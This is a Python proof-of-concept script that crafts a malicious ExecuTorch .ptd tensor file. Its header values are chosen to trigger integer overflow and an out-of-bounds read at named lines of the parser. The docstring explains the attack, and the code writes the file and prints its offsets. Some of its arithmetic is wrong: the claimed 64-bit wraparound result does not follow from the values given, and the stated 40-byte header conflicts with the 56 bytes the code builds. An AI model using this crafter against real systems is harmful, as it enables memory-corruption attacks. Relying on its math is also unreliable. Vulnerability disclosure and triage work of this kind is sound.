"""
Static crafter for the malicious .ptd PoC.

Builds a byte-exact ExecuTorch FlatTensor (.ptd) file whose two header fields
overflow on `u64 + u64` -> `size_t` truncation at
`extension/flat_tensor/flat_tensor_data_map.cpp:224` and :236.

The file is NOT a valid loadable .ptd; it is a minimal byte stream designed to
trigger the integer overflow at parser entry. Inspect with `xxd malicious.ptd`
to verify the wraparound-mate header values.

Reference layout: ExecuTorch's `serialize/flat_tensor_header.cpp` parses a
40-byte header at fixed offsets after a small preamble.

  [0x00..0x07]   8 bytes   arbitrary preamble (kHeaderOffset slack)
  [0x08..0x0B]   "FH01"    magic (extension/flat_tensor/serialize/file_format_constants.h)
  [0x0C..0x0F]   0x00000028  header_length = 40 (kMinimumHeaderLength)
  [0x10..0x17]   uint64_t  flatbuffer_offset   = 0x0000_0000_0000_0040
  [0x18..0x1F]   uint64_t  flatbuffer_size     = 0xFFFF_FFFF_FFFF_FF00  <-- wraparound mate
  [0x20..0x27]   uint64_t  segment_base_offset = 0x0000_0000_FFFF_FFFF
  [0x28..0x2F]   uint64_t  segment_data_size   = 0x0000_0001_0000_0041  <-- 32-bit overflow on ARMv7
  [0x30..0x3F]   16 bytes  reserved / padding
  [0x40..]       payload: fake FT01 flatbuffer identifier + crafted vtable

On a 64-bit host (size_t == uint64_t):
  flatbuffer_offset + flatbuffer_size
    = 0x40 + 0xFFFFFFFFFFFFFF00
    = 0x0000_0000_0000_0040 + 0xFFFF_FFFF_FFFF_FF00
    = wraps to 0x0000_0000_0000_FF40 (loses the carry)
  -> consumed as size_t at flat_tensor_data_map.cpp:236 as a load LENGTH
  -> loader maps ~65 KB instead of ~16 EB; FlatBuffer parser then reads
     32-bit vtable offsets into freed/unrelated heap behind the legit buffer

On 32-bit ARM (size_t == uint32_t):
  segment_base_offset + segment_data_size
    = 0xFFFFFFFF + 0x100000041 (truncated to 0x41 in uint32_t arithmetic)
    = 0xFFFFFFFF + 0x00000041
    = wraps to 0x0000_0040
  -> size check `expected_size <= actual_size` trivially passes

No ExecuTorch build required to inspect the bytes; building ExecuTorch and
running `FlatTensorDataMap::load("malicious.ptd")` produces a controlled OOB
read confirmable under ASan.
"""

import struct
from pathlib import Path

OUT = Path(__file__).parent / "malicious.ptd"

# ----- assemble preamble -----
preamble = b"\x00" * 8  # kHeaderOffset slack — first 8 bytes are arbitrary

# ----- assemble FlatTensor header -----
magic = b"FH01"                                  # 4 bytes
header_length = struct.pack("<I", 0x00000028)    # 4 bytes; little-endian u32 = 40
flatbuffer_offset = struct.pack("<Q", 0x0000_0000_0000_0040)
flatbuffer_size = struct.pack("<Q", 0xFFFF_FFFF_FFFF_FF00)   # wraparound mate
segment_base_offset = struct.pack("<Q", 0x0000_0000_FFFF_FFFF)
segment_data_size = struct.pack("<Q", 0x0000_0001_0000_0041)  # 32-bit overflow on ARM
reserved = b"\x00" * 16

header = (
    magic
    + header_length
    + flatbuffer_offset
    + flatbuffer_size
    + segment_base_offset
    + segment_data_size
    + reserved
)
assert len(header) == 4 + 4 + 8 + 8 + 8 + 8 + 16, f"header is {len(header)} bytes"

# ----- assemble fake flatbuffer payload -----
# FT01 identifier + a crafted root offset that vtables out-of-bounds.
# This is a placeholder — the OOB-read primitive doesn't depend on parser
# success past the size check. We need just enough bytes so the parser tries
# to read the vtable. 192 bytes of attacker-controlled junk is plenty for
# triage to inspect.
ft01 = b"FT01"
attacker_controlled = b"\xAA" * 188  # 192 - 4
payload = ft01 + attacker_controlled

# ----- write file -----
data = preamble + header + payload
OUT.write_bytes(data)
print(f"[+] Wrote {OUT} ({len(data)} bytes)")
print(f"[+] Header offsets:")
print(f"    [0x08..0x0B] magic           : {magic!r}")
print(f"    [0x0C..0x0F] header_length   : 0x{0x28:08x}  (= 40 = kMinimumHeaderLength)")
print(f"    [0x10..0x17] flatbuffer_off  : 0x{0x40:016x}")
print(f"    [0x18..0x1F] flatbuffer_size : 0x{0xFFFF_FFFF_FFFF_FF00:016x}  <-- wraparound mate")
print(f"    [0x20..0x27] segment_base    : 0x{0x0000_0000_FFFF_FFFF:016x}")
print(f"    [0x28..0x2F] segment_size    : 0x{0x0000_0001_0000_0041:016x}  <-- 32-bit overflow on ARM")
print()
print("[+] On 64-bit host: flatbuffer_offset + flatbuffer_size wraps in size_t.")
print("[+] On 32-bit ARM:  segment_base_offset + segment_data_size also wraps.")
print(f"[+] Inspect bytes: xxd {OUT}")